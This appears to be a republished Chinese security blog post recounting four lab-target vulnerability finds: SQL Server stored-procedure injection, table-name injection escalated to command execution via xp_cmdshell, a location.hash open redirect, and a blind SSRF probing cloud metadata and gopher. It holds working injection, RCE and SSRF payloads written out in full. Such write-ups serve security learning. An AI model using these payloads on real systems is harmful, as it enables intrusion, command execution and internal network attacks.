安全攻防 | 四个有趣的靶场漏洞挖掘案例

admin 2023年6月7日01:49:27评论15 views字数 4428阅读14分45秒阅读模式

声明:本人坚决反对利用文章内容进行恶意攻击行为,一切错误行为必将受到惩罚,绿色网络需要靠我们共同维护,推荐大家在了解技术原理的前提下,更好的维护个人信息安全、企业安全、国家安全。


0x00 前言

好久没写真实漏洞挖掘案例了,今天写一笔。直接发漏洞细节很生硬,大家也学不到什么,只有带入感情,留下笔者的想法,才能产生共鸣,真正的帮助到别人。


四个漏洞描述顺序:

    存储过程sql注入;table头注入;通用的url跳转;盲ssrf漏洞;


0x01 存储过程sql注入

首先我先介绍我近期挖到的第一个漏洞:sql server exec存储过程处 sql injection。


遇到的一个靶场网站,一个后台的某个功能点,存在存储过程sql注入,使用单引号测试,发现他报错了。

ERROR:[Microsoft][ODBC SQL Server Driver][SQL Server]Procedure or function 'proc_*' expects parameter '@linked', which was not supplied.


这个报错很特别,和我平时看到的sql server报错信息不一样,我第一时间去谷歌搜索了下这个报错信息,很快就找到了一篇文章。

https://stackoverflow.com/questions/19703653/stored-procedure-or-function-expects-parameter-which-is-not-supplied


stackoverflow查看网站报错信息真的很方便,很方便帮我们判断使用了哪些技术.  虽然我英语很差,但是谷歌浏览器自带的翻译功能就够了,很快我就知道这是个sql server的存储过程报错。


话说回来,不通过谷歌搜索报错语句,通过单引号报错,其实就可能猜出来个大概。


我还是很常规的测试,因为报错了,所以我企图用最简单的方法让其报错出user/database等,尝试poc:

'and 1>user and'1'='1'and user<0 and '1'='1


发现没有出user,甚至仍然报错,其实这是正常的。后续测试发现,只要我在后面添加内容,他就会一直报错...,他好像不允许添加过多的注入payload 

安全攻防 | 四个有趣的靶场漏洞挖掘案例

我开始从报错注入,转为布尔类型注入测试:

'and iif(user like '%25',1,1) and'1'='1


类似这样的payload,结局是泪目的,语句又是各种报错。我发现不能再这样搞了,这样搞的话思路肯定不对。


先从理解sql报错信息开始,理解存储过程,sql server的存储过程的语法是这样的:

exec 任意语句 / exec 'sql语句'


它本身其实不需要任何单引号的闭合,因为它不是字符串类型注入,重新调整测试,测试就是学习的过程,再次上payload:

13 if(substring(db_name(),1,1)='*')waitfor delay'0:0:3'


一顿fuzz,延时3s:

安全攻防 | 四个有趣的靶场漏洞挖掘案例

说明我的这个poc没有问题,一开始踩了一个坑,一个认知问题,惯性思维导致的错误。

mysql下的ifif(条件,结果1,结果2)sql server下的ifif(条件) 结果 else (结果)


这里误以为sql server的if也是和mysql的if使用一样,其实完全不一样,sql server等同mysql if函数的是iif函数.


我们知道,sql server报错有个很爽的技巧就是基于类型错误:int+varchar,尝试报错出db_name()。


报错注入poc:

13 if(1=0/db_name())waitfor delay'0:0:1'
安全攻防 | 四个有趣的靶场漏洞挖掘案例

至此,这个注入算搞定了,我可以提交了。


0x02 table头注入

第二个分享的案例仍然是注入,sql server table头注入,有意思的地方在于rce处,利用一个sql server特性我rce了它。

某天我挖一个站,发现一个功能点存在注入,是那种很常规的注入,通过查看js,我发现了一个接口:

https://xxx.com/1.aspx?plugin=*&action=*&navigationid=1&table={注入点}

我看到了table参数,我觉得这可能是sql server table头注入,这是经常做安全测试的一种直觉,我直接输入了sysobject,他给我大量返回了信息:

安全攻防 | 四个有趣的靶场漏洞挖掘案例


我很惊喜,那么它代码的实现很大可能是:
select * from {可控点}

那么我可以做的事情变得很多很多,这个注入利用成本很低,我觉得他就是个任意sql语句执行漏洞。


我尝试rce,为了再次确定他是表头注入,我尝试在可控点处添加where等条件语句,尝试Payload。

sysobjects where xtype='u' #查询数据库中的所有表名

安全攻防 | 四个有趣的靶场漏洞挖掘案例


很幸运,没任何报错,直接响应了。
安全攻防 | 四个有趣的靶场漏洞挖掘案例


我开始尝试rce,我们都知道sql server rce的条件是需要支持堆叠,我尝试;waitfor delay '0:0:3';直接给我报错了,那么大概率可能不支持堆叠查询


不过这个注入点非常特别,是表头注入,它满足一定的条件,即使不支持堆叠,只要权限够高,我们也可以rce。


先开启xp_cmdshell扩展:

sysobjects+select+1+if+1%3d1+execute('EXEC+sp_configure+''show+advanced+options'',+1%3bRECONFIGURE%3bEXEC+sp_configure+''xp_cmdshell'',+1%3bRECONFIGURE%3b')


执行命令:

sysobjects+select+1++if+1%3d1+execute('exec+master..xp_cmdshell+"whoami"')


直接页面显示了whoami信息:

安全攻防 | 四个有趣的靶场漏洞挖掘案例

我是幸运的,很快,我就提交了漏洞给相关厂商。


因为是表头注入,所以不需要堆叠了,因为sql server的select支持 select x select x

安全攻防 | 四个有趣的靶场漏洞挖掘案例

sql server容错率很强大,不同类型在一起不会报错,会做自动区分。

安全攻防 | 四个有趣的靶场漏洞挖掘案例
安全攻防 | 四个有趣的靶场漏洞挖掘案例

第二个漏洞分享结束,开始第三个url跳转漏洞分享。


0x03 通用的url跳转

其实有时候,运气不是总是很好,漏洞也很难挖,连续好几天,我都没挖到漏洞,我在那边胡乱看着,瞎点着。


有一个站引起了我的兴趣,他的注册接口是这样的。

https://*/sss/yyyy?returnUrl=https://*/#/xxxx/xxx

我对url参数比较敏感,通常我会测试ssrf/xss,即使他大概率不存在,我也会测试下,很显然,半自动化工具没有发现任何ssrf和xss漏洞。


我注册了一个账号,我尝试登录,它告诉我,我的账号需要审核,我尝试绕过,我也没有绕过它。


我发现我没发现漏洞了,那我就随便看看吧,我都不抓包了,右键查看源代码,发现了这么一段代码,以前我就经常做js代码审计,这段代码我不会陌生。

if(location.hash){location="https://hostname"+location.hash.substring(1);}

稍微学过一点js的也不会陌生,不过我们还是要走一遍基础的测试流程,它使用 location.hash.* 去传递参数。


这个就是锚点符,常用于站内url跳转,记录#/后面的内容,其实这里的本意是做站内url跳转用的,不过这里没在hostname结尾处加/这个字符串,导致可以任意跳转。


我们简单测试下:

安全攻防 | 四个有趣的靶场漏洞挖掘案例


那么如果我们想任意url跳转怎么办???

只需要让location.hash.substring(1)变成另一个我们的域名即可,构造poc如下:
http://example.com/#.dnslog.cn

他会直接跳转出信任域,实现任意页面url跳转
安全攻防 | 四个有趣的靶场漏洞挖掘案例


除了这样还可以通过 @domain 去跳转到第三方网站,更加方便!!!


他的修复方案也很简单: 

if(location.hash){location="https://hostname/"+location.hash.substring(1);}


至此第三个漏洞就分享完了。


0x04 盲ssrf漏洞

现在分享最后一个漏洞,就是盲的ssrf漏洞。前面我说过,我看到url参数,我就会尝试下ssrf/xss漏洞,这里我发现了一个图片加载功能,存在ssrf。


首先在分享ssrf实战案例之前,先分享个ssrf安全测试圣经:https://github.com/cujanovic/SSRF-Testing


github上提供的测试用例:

https://ssrf.localdomain.pw/img-without-body/301-http-169.254.169.254:80-.i.jpg


如果想探测是否开放gopher,又不想触发waf怎么做?

https://ssrf.localdomain.pw/img-without-body/301-gopher-{dnslog.cn}-.i.jpg

这个url地址是可以变化的,测试什么协议就变成什么协议,其他测试样本不再举例,类似的,都可以随意转换


这里尝试301跳转:

安全攻防 | 四个有趣的靶场漏洞挖掘案例


dnslog成功收到请求,注意User-Agent,是libwww,perl的一个请求依赖库:
GET / HTTP/1.1TE: deflate,gzip;q=0.3Connection: TE, closeUser-Agent: ImageVacuum/2.3.10 libwww-perl/6.57

使用上面的思路,测试下敏感协议,gopher协议:
安全攻防 | 四个有趣的靶场漏洞挖掘案例


有反应,说明大概率是支持gopher协议的,那么它到底支持不支持呢?


通过查看github libwww代码,就可以得到答案,他支持这些协议,其中包含gopher协议。

安全攻防 | 四个有趣的靶场漏洞挖掘案例


这样我们就可以使用gopher协议去批量fuzz探测内网redis等服务,这个点到此为止。


下面继续科普下盲的ssrf怎么探测?因为一般信息收集不全的情况下,我们没什么内网ip地址,那么我们怎么证明是盲ssrf呢?

本地ip:存在端口 vs 本地ip:大概率不存在的端口


25端口提示我图片类型不对:

安全攻防 | 四个有趣的靶场漏洞挖掘案例


250端口,提示我连接被拒绝
安全攻防 | 四个有趣的靶场漏洞挖掘案例


这样就可以证明这是个盲的ssrf,它可以探测内网端口开放情况,然后因为它又支持gopher等敏感协议,它可以fuzz内网redis,尝试shell等,危害将会大大升级。
文章来源:博客园(飘渺红尘)原文地址:https://www.cnblogs.com/piaomiaohongchen/p/16306747.html

-END-

▎经典文章精选

渗透测试 | 攻击面信息收集
环境搭建 | CTFd动态靶机搭建笔记
权限提升 | suid提权及修复方式
近源渗透 | 使用Aircrack-ng破解wifi密码
神兵利器 | 自动化钉钉推送主机端口信息!


安全攻防 | 四个有趣的靶场漏洞挖掘案例

扫描下方 二维码 加入我们吧!

安全攻防 | 四个有趣的靶场漏洞挖掘案例

原文始发于微信公众号(betasec):安全攻防 | 四个有趣的靶场漏洞挖掘案例

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月7日01:49:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   安全攻防 | 四个有趣的靶场漏洞挖掘案例http://cn-sec.com/archives/1655046.html

发表评论

匿名网友 填写信息